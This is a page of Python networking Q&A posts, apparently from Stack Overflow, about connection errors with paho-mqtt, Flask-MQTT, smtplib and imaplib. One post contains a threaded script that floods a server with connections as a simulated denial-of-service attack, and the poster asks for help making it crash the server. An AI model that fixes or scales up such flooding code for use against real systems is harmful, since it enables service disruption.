I would like some ideas please to catch the error below.
I know what caused the error - I stopped the mosquitto service.
This is a test case because in the real world the broker is on another machine (controlled by HomeAssistant)
In the case of an overall restart / power failure etc there is no guarantee what order devices restart in.
I would like this slave to quietly retry until everything is OK.
I was hoping it could be controlled in the on_connect callback but it never gets that far
it is crashing on the 'G_mqtt_client.connect' call
Traceback (most recent call last):
File "/home/pi/Documents/Code/watering_ctrl_1v00.py", line 382, in <module>
mqtt_initialisation()
File "/home/pi/Documents/Code/watering_ctrl_1v00.py", line 202, in mqtt_initialisation
G_mqtt_client.connect(params.G_broker_url, params.G_broker_port)
File "/home/pi/.local/lib/python3.9/site-packages/paho/mqtt/client.py", line 914, in connect
return self.reconnect()
File "/home/pi/.local/lib/python3.9/site-packages/paho/mqtt/client.py", line 1044, in reconnect
sock = self._create_socket_connection()
File "/home/pi/.local/lib/python3.9/site-packages/paho/mqtt/client.py", line 3685, in _create_socket_connection
return socket.create_connection(addr, timeout=self._connect_timeout, source_address=source)
File "/usr/lib/python3.9/socket.py", line 843, in create_connection
raise err
File "/usr/lib/python3.9/socket.py", line 831, in create_connection
sock.connect(sa)
ConnectionRefusedError: [Errno 111] Connection refused
relevant part of my code
def mqtt_initialisation():
mod = '(messaging.initialisation) '
## establish callback routines - actions to take when events occur
G_mqtt_client.on_connect = on_mqtt_connect
G_mqtt_client.on_disconnect = on_mqtt_disconnect
G_mqtt_client.on_message = message_received
G_mqtt_client.on_log = on_mqtt_log
G_mqtt_client.username_pw_set(params.G_broker_user, params.G_broker_pwd)
G_mqtt_client.connect(params.G_broker_url, params.G_broker_port)
G_mqtt_client.loop_start()
main_log.debug(mod + "after Mqtt client loop start")
def on_mqtt_connect(client, userdata, flags, rc):
main_log.info("MQTT Connected With Result Code " + str(rc)) ## happens at start and if re-connected
do_subscribe()
def on_mqtt_disconnect(client, userdata, rc):
main_log.info("MQTT Client Got Disconnected") ## this appears if, say, mosquitto goes offline
def on_mqtt_log(client, userdata, level, buff):
main_log.info("MQTT Client error ...")
main_log.info(buff)
Related
I am getting an error when i try to use the attached python code to connect and send messages to the Things Network application. When i try using the mqtt mosquitto broker in the terminal with
Traceback (most recent call last):
File "/Users/ayushsharma/Desktop/ttn.py", line 28, in <module>
client.connect(broker,port = 8883)
File "/Users/ayushsharma/Desktop/ven/lib/python3.10/site-packages/paho/mqtt/client.py", line 914, in connect
return self.reconnect()
File "/Users/ayushsharma/Desktop/ven/lib/python3.10/site-packages/paho/mqtt/client.py", line 1044, in reconnect
sock = self._create_socket_connection()
File "/Users/ayushsharma/Desktop/ven/lib/python3.10/site-packages/paho/mqtt/client.py", line 3685, in _create_socket_connection
return socket.create_connection(addr, timeout=self._connect_timeout, source_address=source)
File "/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/socket.py", line 824, in create_connection
for res in getaddrinfo(host, port, 0, SOCK_STREAM):
File "/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/socket.py", line 955, in getaddrinfo
for res in _socket.getaddrinfo(host, port, family, type, proto, flags):
socket.gaierror: [Errno 8] nodename nor servname provided, or not known
it works in connecting but not through the python script. I'm really new to all this so i appreciate any feedback or guidance on how to approach this problem of retrieving date from TheThingsNetwork.
#!/usr/bin/env python3
import paho.mqtt.client as paho
#settings
app_id = "appID"
access_key = "access_key"
broker="nam1.cloud.thethings.network "
port=1883
def on_publish(client,userdata,result):
print("data published \n")
print(client,userdata,result)
pass
def on_log(mqttc, obj, level, string):
print(string)
#setup
client = paho.Client()
client.username_pw_set(app_id,access_key)
#callbacks
client.on_publish = on_publish
client.on_log = on_log
#establish connection
client.connect(broker,port = 8883)
client.loop_start()
#publish
ret= client.publish("appID","on",qos=1)
ret.wait_for_publish()
[1]: https://i.stack.imgur.com/2oejU.png
I have a Flask-Mqtt client running, and everything is fine if broker is accessible. The problem starts when the MQTT broker is not accessible. Usually, I would be able to handle the failed connections with exceptions on the on_connect function, however I don't quite understand how to implement it with Flask-Mqtt
I would want to handle failed broker connections while allowing the web server to run the web pages.
Documentations and example of Flask-MQTT: https://flask-mqtt.readthedocs.io/en/latest/usage.html
The code for handling broker connection failure (based on Steve's Internet Guide)
def on_connect(client, userdata, flags, rc):
if rc==0:
client.connected_flag=True #set flag
print("connected OK")
else:
print("Bad connection Returned code=",rc)
client.bad_connection_flag=True
The error on Flask app when broker not connected:
C:\Users\USER\Documents\College\FYP1\flask_testing\venv\Scripts\python.exe C:/Users/USER/Documents/College/FYP1/flask_testing/main.py
Traceback (most recent call last):
File "C:/Users/USER/Documents/College/FYP1/flask_testing/main.py", line 37, in <module>
mqtt = Mqtt(app)
File "C:\Users\USER\Documents\College\FYP1\flask_testing\venv\lib\site-packages\flask_mqtt\__init__.py", line 104, in __init__
self.init_app(app)
File "C:\Users\USER\Documents\College\FYP1\flask_testing\venv\lib\site-packages\flask_mqtt\__init__.py", line 183, in init_app
self._connect()
File "C:\Users\USER\Documents\College\FYP1\flask_testing\venv\lib\site-packages\flask_mqtt\__init__.py", line 209, in _connect
res = self.client.connect(
File "C:\Users\USER\Documents\College\FYP1\flask_testing\venv\lib\site-packages\paho\mqtt\client.py", line 941, in connect
return self.reconnect()
File "C:\Users\USER\Documents\College\FYP1\flask_testing\venv\lib\site-packages\paho\mqtt\client.py", line 1075, in reconnect
sock = self._create_socket_connection()
File "C:\Users\USER\Documents\College\FYP1\flask_testing\venv\lib\site-packages\paho\mqtt\client.py", line 3546, in _create_socket_connection
return socket.create_connection(addr, source_address=source, timeout=self._keepalive)
File "C:\Users\USER\AppData\Local\Programs\Python\Python38\lib\socket.py", line 807, in create_connection
raise err
File "C:\Users\USER\AppData\Local\Programs\Python\Python38\lib\socket.py", line 796, in create_connection
sock.connect(sa)
socket.timeout: timed out
I faced a similar error. Everything was working fine when the mqtt server was running but if I started the app with the server switched off, the app failed with the same message than yours.
I finally solved it by using connect_async parameter when creating the MQTT object instance.
mqtt_client = Mqtt(app, connect_async=True)
With that parameter, the web pages will be displayed and, when the mqtt server is available, it will automatically connect.
Here is my code:
import smtplib
connection = smtplib.SMTP("smtp.gmail.com")
connection.starttls()
connection.login(user="mymail#gmail.com", password="mypassowrd")
connection.sendmail(from_addr="mymail#gmail.com", to_addrs="recievermail#gmail.com", msg="Hello")
connection.close()
So I am getting this error:
Traceback (most recent call last):
File "E:\100Days-Python_programs\Day32\Birthday Wisher (Day 32) start\main.py", line 3, in <module>
connection = smtplib.SMTP("smtp.gmail.com")
File "C:\Users\HP\AppData\Local\Programs\Python\Python39\lib\smtplib.py", line 253, in __init__
(code, msg) = self.connect(host, port)
File "C:\Users\HP\AppData\Local\Programs\Python\Python39\lib\smtplib.py", line 339, in connect
self.sock = self._get_socket(host, port, self.timeout)
File "C:\Users\HP\AppData\Local\Programs\Python\Python39\lib\smtplib.py", line 310, in _get_socket
return socket.create_connection((host, port), timeout,
File "C:\Users\HP\AppData\Local\Programs\Python\Python39\lib\socket.py", line 843, in create_connection
raise err
File "C:\Users\HP\AppData\Local\Programs\Python\Python39\lib\socket.py", line 831, in create_connection
sock.connect(sa)
TimeoutError: [WinError 10060] A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond
Process finished with exit code 1
I turned on Less secure app access:
I turned off every security steps too:
And I also turned off the firewall protection as well.
But Nothing worked.
So please someone help me.
You need to specify the port. In this case, it's 587 for TSL.
Somehow it works, but I don't have profound knowledge to explain why.
I had the same problem, so there is a solution:
connection = smtplib.SMTP("smtp.gmail.com", 587)
I'm trying to simulate a simple DOS attack using sockets in python . In the DOS Script , I use threads to create multiple attacks on the server . But , some threads are being executed and the program just stops in between after a few threads/after a few successive attacks.
I'm getting Errors on both the Server and the DOS attacker and they just stop executing .
Below is my code for the web server :
import socket
import os
#from socket import *
def create_server():
server_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
server_socket.bind(('--my_ip--',9000))
server_socket.listen(5)
while(1):
(client_socket , address) = server_socket.accept()
print('accepted')
data = client_socket.recv(5000).decode()
parts = data.split('\n')
if(len(parts) > 0):
print(parts[0])
if(data):
print(repr(data))
else:
print('data not received')
d = "HTTP/1.1 200 OK\r\n"
d += "Content-Type: text/html; charset=utf-8\r\n"
d += "\r\n"
d += "<html><body>Hello World</body></html>\r\n\r\n"
client_socket.sendall(d.encode())
client_socket.shutdown(socket.SHUT_RDWR)
except KeyboardInterrupt :
print('Shutting down')
#except Exception as exc :
# print('Error :')
# print(exc)
server_socket.close()
print('http://--my_ip--:9000')
create_server()
My DOS script using threading :
import socket
import threading
import random
import time
import sys
target ='--My IP--'
fake_ip = '123.231.44.22'
port = 9000
msg = bytes(random.getrandbits(10))
duration = 60 # in seconds
timeout = time.time() + duration
def attack():
sent_packets = 0
while True:
attack_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
attack_socket.connect(('--my_ip--',port))
attack_socket.sendto(('GET /' + target + "HTTP/1.1\r\n").encode('ascii'),(target,port))
#attack_socket.sendto(('HOST :' + fake_ip + "\r\n\r\n").encode('ascii'),(target,port))
sent_packets += 1
attack_socket.close()
for i in range(500):
thread = threading.Thread(target=attack)
thread.start()
On the server side , I'm getting the error :
http://--my_ip--:9000
accepted
GET /--ip--HTTP/1.1
'GET /--ip--4HTTP/1.1\r\n'
accepted
GET /--ip--HTTP/1.1
'GET /--ip--HTTP/1.1\r\n'
accepted
GET /--ip--HTTP/1.1
'GET /--ip--HTTP/1.1\r\n'
accepted
GET /--ip--HTTP/1.1
'GET /--ip--HTTP/1.1\r\n'
Traceback (most recent call last):
File "<ipython-input-1-417f30320ecc>", line 1, in <module>
runfile('D:/Networks/Package/server.py', wdir='D:/Networks/Package')
File "C:\Users\91887\Anaconda3\lib\site-packages\spyder_kernels\customize\spydercustomize.py", line 827, in runfile
execfile(filename, namespace)
File "C:\Users\91887\Anaconda3\lib\site-packages\spyder_kernels\customize\spydercustomize.py", line 110, in execfile
exec(compile(f.read(), filename, 'exec'), namespace)
File "D:/Networks/Package/server.py", line 51, in <module>
create_server()
File "D:/Networks/Package/server.py", line 39, in create_server
client_socket.shutdown(socket.SHUT_RDWR)
ConnectionResetError: [WinError 10054] An existing connection was forcibly closed by the remote host
And , on the DOS side :
Exception in thread Thread-88:
Traceback (most recent call last):
File "C:\Users\91887\Anaconda3\lib\threading.py", line 926, in _bootstrap_inner
self.run()
File "C:\Users\91887\Anaconda3\lib\threading.py", line 870, in run
self._target(*self._args, **self._kwargs)
File "D:/Networks/Package/DOS_script.py", line 24, in attack
attack_socket.connect(('--my_ip--',port))
ConnectionRefusedError: [WinError 10061] No connection could be made because the target machine actively refused it
Exception in thread Thread-35:
Traceback (most recent call last):
File "C:\Users\91887\Anaconda3\lib\threading.py", line 926, in _bootstrap_inner
self.run()
File "C:\Users\91887\Anaconda3\lib\threading.py", line 870, in run
self._target(*self._args, **self._kwargs)
File "D:/Networks/Package/DOS_script.py", line 24, in attack
attack_socket.connect(('--my_ip--',port))
ConnectionRefusedError: [WinError 10061] No connection could be made because the target machine actively refused it
and so on ... for many threads
I don't seem to understand what is causing this issue at all . What is wrong with my code ?
Could someone please help me resolve this error so that I'm able to make a DOS attack on my server to crash it ? And , Of course , I'm not doing anything illegal.
Part of my script:
def testConnection(self):
# This code doesn't work
try:
self.imap.login(self.user, self.password)
return True
except:
return False
When I try to connect with imaplib to mail server with wrong settings, script always crashes with this error:
Traceback (most recent call last):
File "./mail-notifier.py", line 198, in <module>
mail_check()
File "./mail-notifier.py", line 161, in mail_check
if (SettingsExist() == True and Mail().testConnection() == True):
File "./mail-notifier.py", line 142, in __init__
self.imap = imaplib.IMAP4_SSL(settings.value("MailServer"), settings.value("Port"))
File "/usr/lib64/python3.4/imaplib.py", line 1221, in __init__
IMAP4.__init__(self, host, port)
File "/usr/lib64/python3.4/imaplib.py", line 181, in __init__
self.open(host, port)
File "/usr/lib64/python3.4/imaplib.py", line 1234, in open
IMAP4.open(self, host, port)
File "/usr/lib64/python3.4/imaplib.py", line 257, in open
self.sock = self._create_socket()
File "/usr/lib64/python3.4/imaplib.py", line 1224, in _create_socket
sock = IMAP4._create_socket(self)
File "/usr/lib64/python3.4/imaplib.py", line 247, in _create_socket
return socket.create_connection((self.host, self.port))
File "/usr/lib64/python3.4/socket.py", line 512, in create_connection
raise err
File "/usr/lib64/python3.4/socket.py", line 503, in create_connection
sock.connect(sa)
socket.timeout: timed out
I can't catch timeout exception and print error message and continue to work. I thought " except: " catches all errors that happen. I tried to set " except socket.timeout: " but unsuccessfully. What did I wrong?
socket.connect(address)
Connect to a remote socket at address. (The format of address depends on the address family — see above.)
If the connection is interrupted by a signal, the method waits until the connection completes, or raise a socket.timeout on timeout, if the signal handler doesn’t raise an exception and the socket is blocking or has a timeout. For non-blocking sockets, the method raises an InterruptedError exception if the connection is interrupted by a signal (or the exception raised by the signal handler).
Changed in version 3.5: The method now waits until the connection completes instead of raising an InterruptedError exception if the connection is interrupted by a signal, the signal handler doesn’t raise an exception and the socket is blocking or has a timeout (see the PEP 475 for the rationale).
In case of remote connection you should check if the Internet connection can be established (you and remote destination are reachable) and connection setting to perform actions you want are correct.